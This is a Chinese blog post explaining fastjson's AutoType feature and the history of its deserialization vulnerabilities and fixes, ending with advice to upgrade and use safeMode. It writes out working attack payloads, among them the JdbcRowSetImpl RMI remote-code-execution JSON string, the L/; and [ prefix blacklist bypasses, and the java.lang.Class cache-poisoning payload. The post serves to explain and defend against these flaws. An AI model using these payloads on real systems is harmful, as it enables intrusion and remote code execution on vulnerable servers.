GitHub 15.8k Star 的 Java 工程师成神之路, 不来了解一下吗! https://github.com/hollischuang/toBeTopJavaer
GitHub 15.8k Star 的 Java 工程师成神之路, 真的不来了解一下吗! https://github.com/hollischuang/toBeTopJavaer
GitHub 15.8k Star 的 Java 工程师成神之路, 真的真的不来了解一下吗! https://github.com/hollischuang/toBeTopJavaer
fastjson 大家一定都不陌生, 这是阿里巴巴的开源一个 JSON 解析库, 通常被用于将 Java Bean 和 JSON 字符串之间进行转换.
前段时间, fastjson 被爆出过多次存在漏洞, 很多文章报道了这件事儿, 并且给出了升级建议.
但是作为一个开发者, 我更关注的是他为什么会频繁被爆漏洞? 于是我带着疑惑, 去看了下 fastjson 的 releaseNote 以及部分源代码.
最终发现, 这其实和 fastjson 中的一个 AutoType 特性有关.
从 2019 年 7 月份发布的 v1.2.59 一直到 2020 年 6 月份发布的 v1.2.71 , 每个版本的升级中都有关于 AutoType 的升级.
下面是 fastjson 的官方 releaseNotes 中, 几次关于 AutoType 的重要升级:
1.2.59 发布, 增强 AutoType 打开时的安全性 fastjson
1.2.60 发布, 增加了 AutoType 黑名单, 修复拒绝服务安全问题 fastjson
1.2.61 发布, 增加 AutoType 安全黑名单 fastjson
1.2.62 发布, 增加 AutoType 黑名单, 增强日期反序列化和 JSONPath fastjson
1.2.66 发布, Bug 修复安全加固, 并且做安全加固, 补充了 AutoType 黑名单 fastjson
1.2.67 发布, Bug 修复安全加固, 补充了 AutoType 黑名单 fastjson
1.2.68 发布, 支持 GEOJSON, 补充了 AutoType 黑名单.(引入一个 safeMode 的配置, 配置 safeMode 后, 无论白名单和黑名单, 都不支持 autoType.) fastjson
1.2.69 发布, 修复新发现高危 AutoType 开关绕过安全漏洞, 补充了 AutoType 黑名单 fastjson
1.2.70 发布, 提升兼容性, 补充了 AutoType 黑名单
甚至在 fastjson 的开源库中, 有一个 Issue 是建议作者提供不带 autoType 的版本:

那么, 什么是 AutoType? 为什么 fastjson 要引入 AutoType? 为什么 AutoType 会导致安全漏洞呢? 本文就来深入分析一下.
AutoType 何方神圣?
fastjson 的主要功能就是将 Java Bean 序列化成 JSON 字符串, 这样得到字符串之后就可以通过数据库等方式进行持久化了.
但是, fastjson 在序列化以及反序列化的过程中并没有使用 Java 自带的序列化机制 https://www.hollischuang.com/archives/1140 , 而是自定义了一套机制.
其实, 对于 JSON 框架来说, 想要把一个 Java 对象转换成字符串, 可以有两种选择:
1, 基于属性
2, 基于 setter/getter
而我们所常用的 JSON 序列化框架中, FastJson 和 jackson 在把对象序列化成 JSON 字符串的时候, 是通过遍历出该类中的所有 getter 方法进行的. Gson 并不是这么做的, 他是通过反射遍历该类中的所有属性, 并把其值序列化成 JSON.
假设我们有以下一个 Java 类:
- class Store {
- private String name;
- private Fruit fruit;
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- public Fruit getFruit() {
- return fruit;
- }
- public void setFruit(Fruit fruit) {
- this.fruit = fruit;
- }
- }
- interface Fruit {
- }
- class Apple implements Fruit {
- private BigDecimal price;
- // 省略 setter/getter,toString 等
- }
当我们要对他进行序列化的时候, fastjson 会扫描其中的 getter 方法, 即找到 getName 和 getFruit, 这时候就会将 name 和 fruit 两个字段的值序列化到 JSON 字符串中.
那么问题来了, 我们上面的定义的 Fruit 只是一个接口, 序列化的时候 fastjson 能够把属性值正确序列化出来吗? 如果可以的话, 那么反序列化的时候, fastjson 会把这个 fruit 反序列化成什么类型呢?
我们尝试着验证一下, 基于(fastjson v 1.2.68):
- Store store = new Store();
- store.setName("Hollis");
- Apple apple = new Apple();
- apple.setPrice(new BigDecimal(0.5));
- store.setFruit(apple);
- String jsonString = JSON.toJSONString(store);
- System.out.println("toJSONString :" + jsonString);
以上代码比较简单, 我们创建了一个 store, 为他指定了名称, 并且创建了一个 Fruit 的子类型 Apple, 然后将这个 store 使用 JSON.toJSONString 进行序列化, 可以得到以下 JSON 内容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
那么, 这个 fruit 的类型到底是什么呢, 能否反序列化成 Apple 呢? 我们再来执行以下代码:
- Store newStore = JSON.parseObject(jsonString, Store.class);
- System.out.println("parseObject :" + newStore);
- Apple newApple = (Apple)newStore.getFruit();
- System.out.println("getFruit :" + newApple);
执行结果如下:
- toJSONString : {
- "fruit":{
- "price":0.5
- },"name":"Hollis"
- }
- parseObject : Store{
- name='Hollis', fruit={
- }
- }
- Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
- at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
可以看到, 在将 store 反序列化之后, 我们尝试将 Fruit 转换成 Apple, 但是抛出了异常, 尝试直接转换成 Fruit 则不会报错, 如:
- Fruit newFruit = newStore.getFruit();
- System.out.println("getFruit :" + newFruit);
以上现象, 我们知道, 当一个类中包含了一个接口 (或抽象类) 的时候, 在使用 fastjson 进行序列化的时候, 会将子类型抹去, 只保留接口 (抽象类) 的类型, 使得反序列化时无法拿到原始类型.
那么有什么办法解决这个问题呢, fastjson 引入了 AutoType, 即在序列化的时候, 把原始类型记录下来.
使用方法是通过 SerializerFeature.WriteClassName 进行标记, 即将上述代码中的
String jsonString = JSON.toJSONString(store);
修改成:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
即可, 以上代码, 输出结果如下:
- System.out.println("toJSONString :" + jsonString);
- {
- "@type":"com.hollis.lab.fastjson.test.Store",
- "fruit":{
- "@type":"com.hollis.lab.fastjson.test.Apple",
- "price":0.5
- },
- "name":"Hollis"
- }
可以看到, 使用 SerializerFeature.WriteClassName 进行标记后, JSON 字符串中多出了一个 @type 字段, 标注了类对应的原始类型, 方便在反序列化的时候定位到具体类型
如上, 将序列化后的字符串在反序列化, 既可以顺利的拿到一个 Apple 类型, 整体输出内容:
- toJSONString : {
- "@type":"com.hollis.lab.fastjson.test.Store","fruit":{
- "@type":"com.hollis.lab.fastjson.test.Apple","price":0.5
- },"name":"Hollis"
- }
- parseObject : Store{
- name='Hollis', fruit=Apple{
- price=0.5
- }
- }
- getFruit : Apple{
- price=0.5
- }
这就是 AutoType, 以及 fastjson 中引入 AutoType 的原因.
但是, 也正是这个特性, 因为在功能设计之初在安全方面考虑的不够周全, 也给后续 fastjson 使用者带来了无尽的痛苦
AutoType 何错之有?
因为有了 autoType 功能, 那么 fastjson 在对 JSON 字符串进行反序列化的时候, 就会读取 @type 到内容, 试图把 JSON 内容反序列化成这个对象, 并且会调用这个类的 setter 方法.
那么就可以利用这个特性, 自己构造一个 JSON 字符串, 并且使用 @type 指定一个自己想要使用的攻击类库.
举个例子, 黑客比较常用的攻击类库是 com.sun.rowset.JdbcRowSetImpl, 这是 sun 官方提供的一个类库, 这个类的 dataSourceName 支持传入一个 rmi 的源, 当解析这个 uri 的时候, 就会支持 rmi 远程调用, 去指定的 rmi 地址中去调用方法.
而 fastjson 在反序列化时会调用目标类的 setter 方法, 那么如果黑客在 JdbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令, 那么就会导致很严重的后果.
如通过以下方式定一个 JSON 串, 即可实现远程命令执行(在早期版本中, 新版本中 JdbcRowSetImpl 已经被加了黑名单)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的远程命令执行漏洞, 即利用漏洞入侵到目标服务器, 通过服务器执行命令.
在早期的 fastjson 版本中(v1.2.25 之前), 因为 AutoType 是默认开启的, 并且也没有什么限制, 可以说是裸着的.
从 v1.2.25 开始, fastjson 默认关闭了 autotype 支持, 并且加入了 checkAutotype, 加入了黑名单 + 白名单来防御 autotype 开启的情况.
但是, 也是从这个时候开始, 黑客和 fastjson 作者之间的博弈就开始了.
因为 fastjson 默认关闭了 autotype 支持, 并且做了黑白名单的校验, 所以攻击方向就转变成了 "如何绕过 checkAutotype".
下面就来细数一下各个版本的 fastjson 中存在的漏洞以及攻击原理, 由于篇幅限制, 这里并不会讲解的特别细节, 如果大家感兴趣我后面可以单独写一篇文章讲讲细节. 下面的内容主要是提供一些思路, 目的是说明写代码的时候注意安全性的重要性.
绕过 checkAutotype, 黑客与 fastjson 的博弈
在 fastjson v1.2.41 之前, 在 checkAutotype 的代码中, 会先进行黑白名单的过滤, 如果要反序列化的类不在黑白名单中, 那么才会对目标类进行反序列化.
但是在加载的过程中, fastjson 有一段特殊的处理, 那就是在具体加载类的时候会去掉 className 前后的 L 和;, 形如 Lcom.lang.Thread;.

而黑白名单又是通过 startWith 检测的, 那么黑客只要在自己想要使用的攻击类库前后加上 L 和; 就可以绕过黑白名单的检查了, 也不耽误被 fastjson 正常加载.
如 Lcom.sun.rowset.JdbcRowSetImpl;, 会先通过白名单校验, 然后 fastjson 在加载类的时候会去掉前后的 L 和, 变成了 com.sun.rowset.JdbcRowSetImpl`.
为了避免被攻击, 在之后的 v1.2.42 版本中, 在进行黑白名单检测的时候, fastjson 先判断目标类的类名的前后是不是 L 和;, 如果是的话, 就截取掉前后的 L 和; 再进行黑白名单的校验.
看似解决了问题, 但是黑客发现了这个规则之后, 就在攻击时在目标类前后双写 LL 和;;, 这样再被截取之后还是可以绕过检测. 如 LLcom.sun.rowset.JdbcRowSetImpl;;
魔高一尺, 道高一丈. 在 v1.2.43 中, fastjson 这次在黑白名单判断之前, 增加了一个是否以 LL 未开头的判断, 如果目标类以 LL 开头, 那么就直接抛异常, 于是就又短暂的修复了这个漏洞.
黑客在 L 和; 这里走不通了, 于是想办法从其他地方下手, 因为 fastjson 在加载类的时候, 不只对 L 和; 这样的类进行特殊处理, 还对[也被特殊处理了.
同样的攻击手段, 在目标类前面添加[,v1.2.43 以前的所有版本又沦陷了.
于是, 在 v1.2.44 版本中, fastjson 的作者做了更加严格的要求, 只要目标类以[开头或者以; 结尾, 都直接抛异常. 也就解决了 v1.2.43 及历史版本中发现的 bug.
在之后的几个版本中, 黑客的主要的攻击方式就是绕过黑名单了, 而 fastjson 也在不断的完善自己的黑名单.
autoType 不开启也能被攻击?
但是好景不长, 在升级到 v1.2.47 版本时, 黑客再次找到了办法来攻击. 而且这个攻击只有在 autoType 关闭的时候才生效.
是不是很奇怪, autoType 不开启反而会被攻击.
因为在 fastjson 中有一个全局缓存, 在类加载的时候, 如果 autotype 没开启, 会先尝试从缓存中获取类, 如果缓存中有, 则直接返回. 黑客正是利用这里机制进行了攻击.
黑客先想办法把一个类加到缓存中, 然后再次执行的时候就可以绕过黑白名单检测了, 多么聪明的手段.
首先想要把一个黑名单中的类加到缓存中, 需要使用一个不在黑名单中的类, 这个类就是 java.lang.Class
java.lang.Class 类对应的 deserializer 为 MiscCodec, 反序列化时会取 JSON 串中的 val 值并加载这个 val 对应的类.
如果 fastjson cache 为 true, 就会缓存这个 val 对应的 class 到全局缓存中
如果再次加载 val 名称的类, 并且 autotype 没开启, 下一步就是会尝试从全局缓存中获取这个 class, 进而进行攻击.
所以, 黑客只需要把攻击类伪装以下就行了, 如下格式:
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
于是在 v1.2.48 中, fastjson 修复了这个 bug, 在 MiscCodec 中, 处理 Class 类的地方, 设置了 fastjson cache 为 false, 这样攻击类就不会被缓存了, 也就不会被获取到了.
在之后的多个版本中, 黑客与 fastjson 又继续一直都在绕过黑名单, 添加黑名单中进行周旋.
直到后来, 黑客在 v1.2.68 之前的版本中又发现了一个新的漏洞利用方式.
利用异常进行攻击
在 fastjson 中, 如果,@type 指定的类为 Throwable 的子类, 那对应的反序列化处理类就会使用到 ThrowableDeserializer
而在 ThrowableDeserializer#deserialze 的方法中, 当有一个字段的 key 也是 @type 时, 就会把这个 value 当做类名, 然后进行一次 checkAutoType 检测.
并且指定了 expectClass 为 Throwable.class, 但是在 checkAutoType 中, 有这样一约定, 那就是如果指定了 expectClass , 那么也会通过校验.

因为 fastjson 在反序列化的时候会尝试执行里面的 getter 方法, 而 Exception 类中都有一个 getMessage 方法.
黑客只需要自定义一个异常, 并且重写其 getMessage 就达到了攻击的目的.
这个漏洞就是 6 月份全网疯传的那个 "严重漏洞", 使得很多开发者不得不升级到新版本.
这个漏洞在 v1.2.69 中被修复, 主要修复方式是对于需要过滤掉的 expectClass 进行了修改, 新增了 4 个新的类, 并且将原来的 Class 类型的判断修改为 hash 的判断.
其实, 根据 fastjson 的官方文档介绍, 即使不升级到新版, 在 v1.2.68 中也可以规避掉这个问题, 那就是使用 safeMode
AutoType 安全模式?
可以看到, 这些漏洞的利用几乎都是围绕 AutoType 来的, 于是, 在 v1.2.68 版本中, 引入了 safeMode, 配置 safeMode 后, 无论白名单和黑名单, 都不支持 autoType, 可一定程度上缓解反序列化 Gadgets 类变种攻击.
设置了 safeMode 后,@type 字段不再生效, 即当解析形如 {"@type": "com.java.class"} 的 JSON 串时, 将不再反序列化出对应的类.
开启 safeMode 方式如下:
ParserConfig.getGlobalInstance().setSafeMode(true);
如在本文的最开始的代码示例中, 使用以上代码开启 safeMode 模式, 执行代码, 会得到以下异常:
- Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
- at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
但是值得注意的是, 使用这个功能, fastjson 会直接禁用 autoType 功能, 即在 checkAutoType 方法中, 直接抛出一个异常.

后话
目前 fastjson 已经发布到了 v1.2.72 版本, 历史版本中存在的已知问题在新版本中均已修复.
开发者可以将自己项目中使用的 fastjson 升级到最新版, 并且如果代码中不需要用到 AutoType 的话, 可以考虑使用 safeMode, 但是要评估下对历史代码的影响.
因为 fastjson 自己定义了序列化工具类, 并且使用 asm 技术避免反射, 使用缓存, 并且做了很多算法优化等方式, 大大提升了序列化及反序列化的效率.
之前有网友对比过:

当然, 快的同时也带来了一些安全性问题, 这是不可否认的.
最后, 其实我还想说几句, 虽然 fastjson 是阿里巴巴开源出来的, 但是据我所知, 这个项目大部分时间都是其作者温少一个人在靠业余时间维护的.
知乎上有网友说:"温少几乎凭一己之力撑起了一个被广泛使用 JSON 库, 而其他库几乎都是靠一整个团队, 就凭这一点, 温少作为" 初心不改的阿里初代开源人 ", 当之无愧."
其实, 关于 fastjson 漏洞的问题, 阿里内部也有很多人诟病过, 但是诟病之后大家更多的是给予理解和包容.
fastjson 目前是国产类库中比较出名的一个, 可以说是倍受关注, 所以渐渐成了安全研究的重点, 所以会有一些深度的漏洞被发现. 就像温少自己说的那样:
"和发现漏洞相比, 更糟糕的是有漏洞不知道被人利用. 及时发现漏洞并升级版本修复是安全能力的一个体现."
就在我写这篇文章的时候, 在钉钉上问了温少一个问题, 他竟然秒回, 这令我很惊讶. 因为那天是周末, 周末钉钉可以做到秒回, 这说明了什么?
他大概率是在利用自己的业余维护 fastjson 吧...
最后, 知道了 fastjson 历史上很多漏洞产生的原因之后, 其实对我自己来说, 我是 "更加敢用"fastjson 了...
致敬 fastjson! 致敬安全研究者! 致敬温少!
参考资料:
- https://github.com/alibaba/fastjson/releases
- https://paper.seebug.org/1192/
- https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
http://www.lmxspace.com/2019/06/29/FastJson - 反序列化学习
来源: https://www.cnblogs.com/hollischuang/p/13253321.html